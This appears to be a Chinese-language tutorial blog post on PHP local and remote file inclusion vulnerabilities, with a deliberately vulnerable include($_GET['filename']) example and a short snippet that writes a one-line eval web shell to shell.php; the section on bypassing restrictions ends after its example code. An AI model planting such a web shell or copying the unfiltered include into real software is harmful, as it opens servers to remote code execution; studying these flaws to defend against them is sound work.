zoukankan      html  css  js  c++  java
  • 文件包含

    文件包含函数

    (1)require():跟include唯一不同的是,当产生错误时候,include下面继续运行而require停止运行了。
    (2)include():包含并运行指定文件,当包含外部文件发生错误时,系统给出警告,但整个php文件继续执行。
    (3)require_once():只包含一次
    (4)include_once():这个函数跟include函数作用几乎相同,只是他在导入函数之前先检测下该文件是否被导入。如果已经执行一遍那么就不重复执行了

    文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意文件,导致了执行了非预期的代码。
    (1)示例代码:

    <?php
        $filename  = $_GET['filename'];
        include($filename);
    ?>

    $_GET[‘filename’]参数开发者没有经过严格的过滤,直接带入了include的函数,攻击者可以修改$_GET[‘filename’]的值,执行非预期的操作。

    无限制本地文件包含漏洞

    <?php
    $payload = "<?php @eval($_POST['wade']);?>";
    $myfile = fopen("shell.php","w") or die("Unable");
    fwrite($myfile,$payload);
    fclose($myfile);
    ?>

    远程文件包含

    PHP的配置文件allow_url_fopen和allow_url_include设置为ON,include/require等包含函数可以加载远程文件,如果远程文件没经过严格的过滤,导致了执行恶意文件的代码,这就是远程文件包含漏洞。

    allow_url_fopen = On(是否允许打开远程文件)
    allow_url_include = On(是否允许include/require远程文件)

    无限制远程文件包含漏洞

    测试代码:

    <?php
        $filename  = $_GET['filename'];
        include($filename);
    ?>

    通过远程文件包含漏洞,包含php.txt可以解析。

    有限制远程文件包含漏洞绕过


    <?php include($_GET['filename'] . ".html"); ?>

  • 相关阅读:
    C#中抽象类和接口的区别
    人机交互复习
    信息安全复习2关于网络安全
    多读书
    致大学:我的最后几次坚持
    腾讯CMEM平台简介
    面向对象中组合和继承的关系
    软件测试笔记
    一个人的独白(两年生活的自省)
    学习之路二十四:2012年我从工作中学会了哪些?
  • 原文地址:https://www.cnblogs.com/ihacker/p/11291208.html
Copyright © 2011-2022 走看看